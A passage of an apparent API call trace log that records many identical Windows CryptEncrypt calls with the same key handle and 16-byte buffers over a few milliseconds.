(in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.263] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.264] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.265] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 